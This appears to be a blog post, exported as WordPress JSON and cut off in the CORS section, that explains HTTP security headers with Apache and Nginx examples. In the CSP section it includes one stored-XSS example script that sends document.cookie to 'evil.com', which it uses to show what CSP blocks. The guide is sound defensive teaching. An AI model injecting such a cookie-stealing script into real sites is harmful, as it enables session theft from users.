{"id":155,"date":"2026-05-26T10:46:17","date_gmt":"2026-05-26T10:46:17","guid":{"rendered":"https:\/\/siteinfocheck.com\/blog\/?p=155"},"modified":"2026-05-26T11:37:38","modified_gmt":"2026-05-26T11:37:38","slug":"http-security-headers","status":"publish","type":"post","link":"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/","title":{"rendered":"HTTP Security Headers: Complete Implementation Guide for Developers"},"content":{"rendered":"<h2><span class=\"ez-toc-section\" id=\"First_things_first_What_are_HTTP_Headers_anyway\"><\/span><strong>First things first: What are HTTP Headers anyway?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Well basically when you contact a server using HTTP protocol, in most cases, your message (read packet) would have Three parts. First one is the <strong>starting line<\/strong> which defines <strong>HTTP method<\/strong> (GET, POST and \u2026), <strong>URL<\/strong>\u00a0 and <strong>HTTP protocol version<\/strong>. second is the one holding <strong>HTTP headers<\/strong>, and the other is called the <strong>body<\/strong> part which is <strong>optional<\/strong>. Also it goes both ways, it\u2019s the same for you and the server, you would both communicate in the same schema with minor changes, like body would differ often and server response is dependant on what you ask for.<br \/>\nTake a look it this sample <strong>HTTP request:<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-158 \" src=\"https:\/\/siteinfocheck.com\/blog\/wp-content\/uploads\/2026\/05\/sample-HTTP-request.png\" alt=\"\" width=\"688\" height=\"404\" data-wp-editing=\"1\" srcset=\"https:\/\/siteinfocheck.com\/blog\/wp-content\/uploads\/2026\/05\/sample-HTTP-request.png 813w, https:\/\/siteinfocheck.com\/blog\/wp-content\/uploads\/2026\/05\/sample-HTTP-request-300x176.png 300w, https:\/\/siteinfocheck.com\/blog\/wp-content\/uploads\/2026\/05\/sample-HTTP-request-768x451.png 768w\" sizes=\"auto, (max-width: 688px) 100vw, 688px\" \/><\/p>\n<p>It\u2019s pretty obvious what starting line and body part do, but what is the point of having headers? What good they are gonna do? Headers provide server some extra information about the user, body type, authorization tokens or cookie which are all necessary for connection to resume. We have all different kinds of HTTP headers that each tell server something different.<br \/>\nLike there is one called <strong>User-Agent<\/strong>, this one tells server what agent or a piece of software you used to make that HTTP call. Like this one, which tells server you are using a Firefox browser on windows:<br \/>\n<code>User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko\/20100101 Firefox\/121.0<\/code><\/p>\n<p>To summarize, think of HTTP headers as variables that hold variours information about the connection and end-user which will be handed to server as soon as the connection is established. A fancy way but crucial one to tell server what is what.<\/p>\n<p>In this blog, we will have a little talk on a specific type of HTTP headers that are really common nowadays because of new attacks and modern security vectors. You will write and use them exactly how you would do others, but just with different values, syntax and consideration, that\u2019s all.<\/p>\n<h1 style=\"font-size: 27px; line-height: 1.4; font-weight: bold;\"><span class=\"ez-toc-section\" id=\"HTTP_Security_Headers_Complete_Implementation_Guide_for_Developers\"><\/span>HTTP Security Headers: Complete Implementation Guide for Developers<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p>Modern web applications face constant threats from attacks such as Cross-Site Scripting (XSS), clickjacking, MIME-sniffing, protocol downgrade attacks, Cross-Origin Resourse Sharing (CORS) misconfiguration and more. While HTTPS and secure coding practices are essential, many developers overlook one of the simplest yet most powerful security layers available: <strong>HTTP security headers<\/strong>. By using these headers, most attacks can be prevented without much to do.<\/p>\n<p>HTTP security headers instruct browsers how to behave when handling your website\u2019s content. Properly configured headers can significantly reduce attack surfaces and harden your application against common web vulnerabilities.<br \/>\nIn modern era of web applications, websites are not just a place to read blogs or watch videos, on the contrary, they are design in a way to maximize user engagement, therefore user spends a lot more time on that platform which will make <strong>client (user) side attacks<\/strong> a real concern. Now hacking is not all about getting access to a database, run shell commands on a server or privilage escalation in a protected environment, sometimes a not well written application can put users at risk rather than the server. In some cases, it can even be more severe because it will do a serious damage to peoples\u2019 trust in that platform.<br \/>\nHTTP headers give us easy options to stop a good number of those attacks on browser level, not fully for sure, keep that in mind. For developers, DevSecOps teams, and security engineers, implementing these headers is now considered a baseline security requirement.<\/p><div id=\"ez-toc-container\" class=\"ez-toc-v2_0_83 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">In this guide, you\u2019ll learn:<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><ul class='ez-toc-list-level-2' ><li class='ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#First_things_first_What_are_HTTP_Headers_anyway\" >First things first: What are HTTP Headers anyway?<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#HTTP_Security_Headers_Complete_Implementation_Guide_for_Developers\" >HTTP Security Headers: Complete Implementation Guide for Developers<\/a><ul class='ez-toc-list-level-2' ><li class='ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#What_Are_HTTP_Security_Headers\" >What Are HTTP Security Headers?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#Why_Security_Headers_Matter\" >Why Security Headers Matter?<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#HTTP_Strict_Transport_Security_HSTS\" >HTTP Strict Transport Security (HSTS)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#Content_Security_Policy_CSP\" >Content Security Policy (CSP)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#X-Frame-Options\" >X-Frame-Options<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#X-Content-Type-Options\" >X-Content-Type-Options<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#Referrer-Policy\" >Referrer-Policy<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#Permissions-Policy\" >Permissions-Policy<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#Cross-Origin_Resource_Sharing_CORS\" >Cross-Origin Resource Sharing (CORS)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#Removing_Information_Disclosure_Headers\" >Removing Information Disclosure Headers<\/a><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#Recommended_Security_Header_Configuration\" >Recommended Security Header Configuration<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#Nginx_Example\" >Nginx Example<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#Apache_Example\" >Apache Example<\/a><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#How_to_Test_Security_Headers\" >How to Test Security Headers<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#Manual_testing\" >Manual testing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#Using_Online_Security_Header_Checkers\" >Using Online Security Header Checkers<\/a><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#Common_Security_Header_Mistakes\" >Common Security Header Mistakes<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-20\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#Security_Headers_and_SSL_Errors\" >Security Headers and SSL Errors<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-21\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#Security_Headers_in_DevSecOps_Pipelines\" >Security Headers in DevSecOps Pipelines<\/a><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-22\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#Security_Header_Monitoring\" >Security Header Monitoring<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-23\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#Final_Thoughts\" >Final Thoughts<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-24\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#Which_HTTP_security_header_is_most_important\" >Which HTTP security header is most important?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-25\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#Can_security_headers_break_websites\" >Can security headers break websites?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-26\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#Is_X-Frame-Options_still_necessary\" >Is X-Frame-Options still necessary?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-27\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#Should_APIs_use_security_headers\" >Should APIs use security headers?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-28\" href=\"https:\/\/siteinfocheck.com\/blog\/http-security-headers\/#How_often_should_security_headers_be_reviewed\" >How often should security headers be reviewed?<\/a><\/li><\/ul><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n\n<h2><span class=\"ez-toc-section\" id=\"What_Are_HTTP_Security_Headers\"><\/span><strong>What Are HTTP Security Headers?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>HTTP security headers are response headers sent by a web server to a browser. These headers define security policies that browsers must follow while rendering and interacting with website content. They are just an easy way to tell browser what extra metrics to take into account when dealing with our website\u2019s code and content.<\/p>\n<p>They help protect websites against:<\/p>\n<ul>\n<li>Cross-Site Scripting (XSS)<\/li>\n<li>Clickjacking<\/li>\n<li>Protocol downgrade attacks<\/li>\n<li>MIME-sniffing attacks<\/li>\n<li>Data leakage<\/li>\n<li>Unauthorized feature access<\/li>\n<li>Mixed content vulnerabilities<\/li>\n<\/ul>\n<p>Example HTTP response header:<\/p>\n<p>Strict-Transport-Security: max-age=31536000; includeSubDomains<\/p>\n<p>The browser receives this header and enforces HTTPS-only communication for future visits.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Why_Security_Headers_Matter\"><\/span><strong>Why Security Headers Matter?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Many attacks target browser behavior rather than server vulnerabilities directly. But do not underestimate browser attacks just because they don\u2019t target server. Imagine a scenario that a URL with JavaScript code included (XSS attack) is sent to the website\u2019s admin. If the attack is doable, website would be in seriuos trouble since attacker is able to perform literaly any action on admin\u2019s behalf. Following, here are some more of these attacks.<\/p>\n<p>For example:<\/p>\n<ul>\n<li>A malicious iframe can trick users into clicking hidden buttons<\/li>\n<li>Injected JavaScript can steal session cookies<\/li>\n<li>Browsers may incorrectly execute uploaded files<\/li>\n<li>HTTP connections can be downgraded from HTTPS<\/li>\n<li>An XSS attack which enables attacker to run JavaScript code in your browser, which basically means your actions will be controled by it.<\/li>\n<\/ul>\n<p>Security headers reduce these risks by enforcing stricter browser rules.<\/p>\n<p>Benefits include:<\/p>\n<ul>\n<li>Stronger application security<\/li>\n<li>Better compliance posture<\/li>\n<li>Improved browser trust<\/li>\n<li>Reduced attack surface<\/li>\n<li>Better security scanner scores<\/li>\n<\/ul>\n<p>Modern browsers actively support these protections, making implementation straightforward and highly effective.<\/p>\n<p>Now let\u2019s see some of those headers and what they are supposed to do.<\/p>\n<ol>\n<li>\n<h4><span class=\"ez-toc-section\" id=\"HTTP_Strict_Transport_Security_HSTS\"><\/span><strong> HTTP Strict Transport Security (HSTS)<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<\/li>\n<\/ol>\n<p>The <strong>HSTS header<\/strong> forces browsers to use HTTPS connections only.<\/p>\n<p>Without HSTS, attackers may exploit downgrade attacks by redirecting users from HTTPS to HTTP. HSTS has been around for about a decade, since 2012. It was first introduced as a standard in RFC 6797. Forcing HTTPS over HTTP, helps defending against many network level attacks. It\u2019s most important job is to protect user from Man In The Middle (MITM) attacks and the ones that try to downgrade HTTPS to HTTP so user\u2019s connection can easily be intercepted.<br \/>\nFun fact, in most modern browsers, if the website has HSTS enabled and you request them under a not secure connection, browser won\u2019t allow you to open them. You will see the not secure message from your browser and even there won\u2019t be an option like \u201cI accept the risk and continue\u201d. You are just gonna have to accept being protected:)<\/p>\n<p><strong>HSTS Header Example<\/strong><\/p>\n<p>Strict-Transport-Security: max-age=31536000; includeSubDomains; preload<\/p>\n<p><strong>Parameters Explained<\/strong><\/p>\n<table>\n<thead>\n<tr>\n<td><strong>Parameter<\/strong><\/td>\n<td><strong>Purpose<\/strong><\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>max-age<\/td>\n<td>Duration browsers enforce HTTPS<\/td>\n<\/tr>\n<tr>\n<td>includeSubDomains<\/td>\n<td>Applies policy to all subdomains<\/td>\n<\/tr>\n<tr>\n<td>Preload<\/td>\n<td>Requests browser preload inclusion<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>How HSTS Works<\/strong><\/p>\n<p>After the browser receives the HSTS header once:<\/p>\n<ul>\n<li>Future HTTP requests are automatically converted to HTTPS<\/li>\n<li>Users cannot bypass certificate warnings easily<\/li>\n<li>SSL stripping attacks become much harder<\/li>\n<\/ul>\n<p><strong>Apache Configuration<\/strong><\/p>\n<p>Header always set Strict-Transport-Security &#8220;max-age=31536000; includeSubDomains; preload&#8221;<\/p>\n<p>Enable required module:<\/p>\n<p>a2enmod headers<\/p>\n<p><strong>Nginx Configuration<\/strong><\/p>\n<p><code>add_header Strict-Transport-Security \"max-age=31536000; includeSubDomains; preload\" always;<\/code><\/p>\n<p><strong>HSTS Best Practices<\/strong><\/p>\n<ul>\n<li>Ensure HTTPS works correctly before enabling HSTS<\/li>\n<li>Start with lower max-age values during testing<\/li>\n<li>Only enable preload when fully ready<\/li>\n<li>Avoid enabling HSTS on development environments<\/li>\n<\/ul>\n<ol start=\"2\">\n<li>\n<h4><span class=\"ez-toc-section\" id=\"Content_Security_Policy_CSP\"><\/span><strong> Content Security Policy (CSP)<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<\/li>\n<\/ol>\n<p><strong>Content Security Policy (CSP)<\/strong> is one of the most powerful browser security mechanisms available. CSP tells browser to load content such as scripts, images and styles from sources that you trust. It plays a very important rule in any attack that someone gives you a link to perform an action on you.<\/p>\n<p>It helps mitigate:<\/p>\n<ul>\n<li>Cross-Site Scripting (XSS)<\/li>\n<li>Data injection attacks<\/li>\n<li>Malicious third-party scripts<\/li>\n<li>Inline script execution<\/li>\n<\/ul>\n<p><strong>Basic CSP Example<\/strong><\/p>\n<p>Content-Security-Policy:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">default-src 'self';<\/pre>\n<p>This allows content loading only from the same origin.<\/p>\n<p><strong>Advanced CSP Example<\/strong><\/p>\n<p>Content-Security-Policy:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">default-src 'self';\r\n\r\nscript-src 'self' https:\/\/trusted-cdn.com;\r\n\r\nstyle-src 'self' https:\/\/fonts.googleapis.com;\r\n\r\nimg-src 'self' data:;\r\n\r\nobject-src 'none';\r\n\r\nframe-ancestors 'none';\r\n\r\nbase-uri 'self';<\/pre>\n<p>&nbsp;<\/p>\n<p><strong>Important CSP Directives<\/strong><\/p>\n<table>\n<thead>\n<tr>\n<td><strong>Directive<\/strong><\/td>\n<td><strong>Purpose<\/strong><\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>default-src<\/td>\n<td>Default fallback policy<\/td>\n<\/tr>\n<tr>\n<td>script-src<\/td>\n<td>Allowed JavaScript sources<\/td>\n<\/tr>\n<tr>\n<td>style-src<\/td>\n<td>Allowed CSS sources<\/td>\n<\/tr>\n<tr>\n<td>img-src<\/td>\n<td>Allowed image sources<\/td>\n<\/tr>\n<tr>\n<td>object-src<\/td>\n<td>Controls plugins like Flash<\/td>\n<\/tr>\n<tr>\n<td>frame-ancestors<\/td>\n<td>Prevents framing<\/td>\n<\/tr>\n<tr>\n<td>base-uri<\/td>\n<td>Restricts base URLs<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Why CSP Is Critical<\/strong><\/p>\n<p>XSS remains one of the most common web vulnerabilities. Check this one:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">&lt;script&gt;\r\n\r\nfetch('https:\/\/evil.com\/steal?cookie=' + document.cookie);\r\n\r\n&lt;\/script&gt;<\/pre>\n<p>&nbsp;<\/p>\n<p>This is a <strong>stored XSS<\/strong> attack. Imagine the attacker submits this script as a comment into your website. If your site does not have CSP enabled (or any other protection for that matter) and configured properly, cookies of every user which that comment has been loaded for, would be stolen and sent to <strong>\u201cevil.com\u201d, bad huh? <\/strong>But if CSP is there, the browser says \u201cHey, I wouldn\u2019t execute your script because I have been told not to execute any script the server did not explicitly approve.\u201d<\/p>\n<p><strong>CSP Report-Only Mode<\/strong><\/p>\n<p>During deployment, use:<\/p>\n<p><code>Content-Security-Policy-Report-Only<\/code><\/p>\n<p>This allows monitoring policy violations without breaking site functionality.<\/p>\n<p><strong>Apache CSP Example<\/strong><\/p>\n<p><code>Header set Content-Security-Policy \"default-src 'self';\"<\/code><\/p>\n<p><strong>Nginx CSP Example<\/strong><\/p>\n<p><code>add_header Content-Security-Policy \"default-src 'self';\";<\/code><\/p>\n<p><strong>Common CSP Mistakes<\/strong><\/p>\n<p>Overly Permissive Policies<\/p>\n<p>Avoid:<\/p>\n<p><code>script-src *<\/code><\/p>\n<p><strong>Using unsafe-inline<\/strong><\/p>\n<p>Avoid unless absolutely necessary:<\/p>\n<p><code>'unsafe-inline'<\/code><\/p>\n<p><strong>Blocking Legitimate Resources<\/strong><\/p>\n<p>Always test third-party integrations carefully.<\/p>\n<ol start=\"3\">\n<li>\n<h4><span class=\"ez-toc-section\" id=\"X-Frame-Options\"><\/span><strong> X-Frame-Options<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<\/li>\n<\/ol>\n<p>The <strong>X-Frame-Options<\/strong> header protects against clickjacking attacks. It stops a website from being <strong>\u201cwrapped\u201d <\/strong>inside another one.<\/p>\n<p>Imagine you log into your bank&#8217;s website. An attacker creates a fake website that looks like a game. But secretly, it places your actual bank page inside a hidden box (called a &#8220;frame&#8221;) right under the &#8220;Play&#8221; button.<\/p>\n<p>When you click &#8220;Play,&#8221; you are actually clicking the &#8220;Transfer Money&#8221; button on your hidden bank page.<\/p>\n<p><strong>X-Frame-Options prevents this by telling the browser:<\/strong>\u00a0<em>&#8220;Do not let any other website put my page inside a box.&#8221;<\/em><\/p>\n<p>Clickjacking occurs when attackers embed your website inside invisible iframes to manipulate user interactions.<\/p>\n<p><strong>Header Example<\/strong><\/p>\n<p><code>X-Frame-Options: DENY<\/code><\/p>\n<p><strong>Available Options<\/strong><\/p>\n<table>\n<thead>\n<tr>\n<td><strong>Value<\/strong><\/td>\n<td><strong>Description<\/strong><\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>DENY<\/td>\n<td>Completely blocks framing<\/td>\n<\/tr>\n<tr>\n<td>SAMEORIGIN<\/td>\n<td>Allows framing from same origin<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Apache Configuration<\/strong><\/p>\n<p><code>Header always set X-Frame-Options \"DENY\"<\/code><\/p>\n<p><strong>Nginx Configuration<\/strong><\/p>\n<p><code>add_header X-Frame-Options \"DENY\";<\/code><\/p>\n<p><strong>Modern Alternative<\/strong><\/p>\n<p>CSP\u2019s frame-ancestors directive provides more flexibility and is preferred in modern deployments.<\/p>\n<p>Example:<\/p>\n<p><code>Content-Security-Policy: frame-ancestors 'none';<\/code><\/p>\n<ol start=\"4\">\n<li>\n<h4><span class=\"ez-toc-section\" id=\"X-Content-Type-Options\"><\/span><strong> X-Content-Type-Options<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<\/li>\n<\/ol>\n<p>Browsers sometimes attempt MIME-sniffing to determine file types. In other words, they guess what a file is.<\/p>\n<p>This behavior can become dangerous if malicious files are interpreted incorrectly. Like you want to upload a video or a profile picture, which is public and all users can see, what if instead an image, you upload a script that does something evil but lives under the skin of a <strong>\u201c.jpg\u201d<\/strong> file? This header tells browser<\/p>\n<blockquote><p>\u201cDo not guess, if the website tells you it\u2019s a picture, then it is one, do not run or execute it (if it\u2019s a script). Treat it as an image.\u201d<\/p><\/blockquote>\n<p>The <strong>X-Content-Type-Options<\/strong> header disables MIME-sniffing.<\/p>\n<p><strong>Header Example<\/strong><\/p>\n<p><code>X-Content-Type-Options: nosniff<\/code><\/p>\n<p><strong>Why It Matters<\/strong><\/p>\n<p>Without this header:<\/p>\n<ul>\n<li>Uploaded files may execute unexpectedly<\/li>\n<li>Browsers may misinterpret content types<\/li>\n<li>Security filters become less effective<\/li>\n<\/ul>\n<p><strong>Apache Configuration<\/strong><\/p>\n<p>Header set X-Content-Type-Options &#8220;nosniff&#8221;<\/p>\n<p><strong>Nginx Configuration<\/strong><\/p>\n<p>add_header X-Content-Type-Options &#8220;nosniff&#8221;;<\/p>\n<ol start=\"5\">\n<li>\n<h4><span class=\"ez-toc-section\" id=\"Referrer-Policy\"><\/span><strong> Referrer-Policy<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<\/li>\n<\/ol>\n<p>The <strong>Referrer-Policy<\/strong> header controls how much referrer information browsers share. In simple terms, it tells browser how much information to share about where you came from.<\/p>\n<p>This impacts both privacy and security.<\/p>\n<p><strong>Header Example<\/strong><\/p>\n<p>Referrer-Policy: strict-origin-when-cross-origin<\/p>\n<p><strong>Common Policies<\/strong><\/p>\n<table>\n<thead>\n<tr>\n<td><strong>Policy<\/strong><\/td>\n<td><strong>Behavior<\/strong><\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>no-referrer<\/td>\n<td>Sends no referrer data<\/td>\n<\/tr>\n<tr>\n<td>same-origin<\/td>\n<td>Sends only for same-origin requests<\/td>\n<\/tr>\n<tr>\n<td>Origin<\/td>\n<td>Sends only domain origin<\/td>\n<\/tr>\n<tr>\n<td>strict-origin-when-cross-origin<\/td>\n<td>Modern recommended default<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Why Referrer Control Matters<\/strong><\/p>\n<p>Sensitive URLs may expose:<\/p>\n<ul>\n<li>Session tokens<\/li>\n<li>Query parameters<\/li>\n<li>Internal paths<\/li>\n<li>Search terms<\/li>\n<\/ul>\n<p>Proper referrer policies reduce information leakage. Broken referrer policies sometimes can become really dangerous. Like In some production environments developers say \u201cHey, if someone is from <strong>admin.site.com<\/strong>, then let them do these sensitive actions.\u201d And they may not even check for credentials. It\u2019s not common nor too rare.<\/p>\n<ol start=\"6\">\n<li>\n<h4><span class=\"ez-toc-section\" id=\"Permissions-Policy\"><\/span><strong> Permissions-Policy<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<\/li>\n<\/ol>\n<p>Modern browsers are feature rich. This header helps us tell browser which features a website is allowed to access. Previously known as Feature-Policy, the <strong>Permissions-Policy<\/strong> header restricts browser features.<\/p>\n<p>Examples include:<\/p>\n<ul>\n<li>Camera access<\/li>\n<li>Microphone access<\/li>\n<li>Geolocation<\/li>\n<li>Fullscreen<\/li>\n<li>Payment APIs<\/li>\n<\/ul>\n<p><strong>Example Header<\/strong><\/p>\n<p><code>Permissions-Policy: geolocation=(), microphone=(), camera=()<\/code><\/p>\n<p><strong>Why This Matters<\/strong><\/p>\n<p>It is not strange for Google Meet to ask for your microphone or camera access, but what if a malicious actor or a not legitimate website wants to access them or your location? Even trusted third-party scripts can abuse browser APIs.<\/p>\n<p>Permissions-Policy limits unnecessary access and reduces privacy risks.<\/p>\n<p><strong>Apache Configuration<\/strong><\/p>\n<p><code>Header set Permissions-Policy \"geolocation=(), microphone=()\"<\/code><\/p>\n<p><strong>Nginx Configuration<\/strong><\/p>\n<p><code>add_header Permissions-Policy \"geolocation=(), microphone=()\";<\/code><\/p>\n<ol start=\"7\">\n<li>\n<h4><span class=\"ez-toc-section\" id=\"Cross-Origin_Resource_Sharing_CORS\"><\/span><strong> Cross-Origin Resource Sharing (CORS)<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<\/li>\n<\/ol>\n<p><strong>What is CORS anyway?<\/strong><br \/>\nCross-Origin Resource Sharing is a security mechanism that lets a server say that \u201cI trust this other website to have access to my data.\u201d<\/p>\n<p><strong>Why is it helpful? <\/strong><\/p>\n<p>By default, browsers follow <strong>Same-Origin Policy (SOP)<\/strong>, which simply means everyone should mind their own business, a website is only allowed to request data from it own server. But that is not gonna always work. What if your main app is on \u201csite.com\u201d and \u201cauth.site.com\u201d handles authentication? Or you API is on another server? SOP blocks these requests but CORS is a way for us to open trusted channels for loading content.<\/p>\n<p>Although technically not always classified as a security header, CORS configuration heavily impacts web security.<\/p>\n<p>Improper CORS settings can expose APIs to unauthorized domains.<\/p>\n<p><strong>Dangerous Example<\/strong><\/p>\n<p>Access-Control-Allow-Origin: *<\/p>\n<p>This allows any website to access resources.<\/p>\n<p><strong>Safer Example<\/strong><\/p>\n<p><code>Access-Control-Allow-Origin: https:\/\/yourdomain.com<\/code><\/p>\n<p><strong>Best Practices<\/strong><\/p>\n<ul>\n<li>Avoid wildcard origins<\/li>\n<li>Restrict methods<\/li>\n<li>Limit allowed headers<\/li>\n<li>Use credentials carefully<\/li>\n<\/ul>\n<ol start=\"8\">\n<li>\n<h4><span class=\"ez-toc-section\" 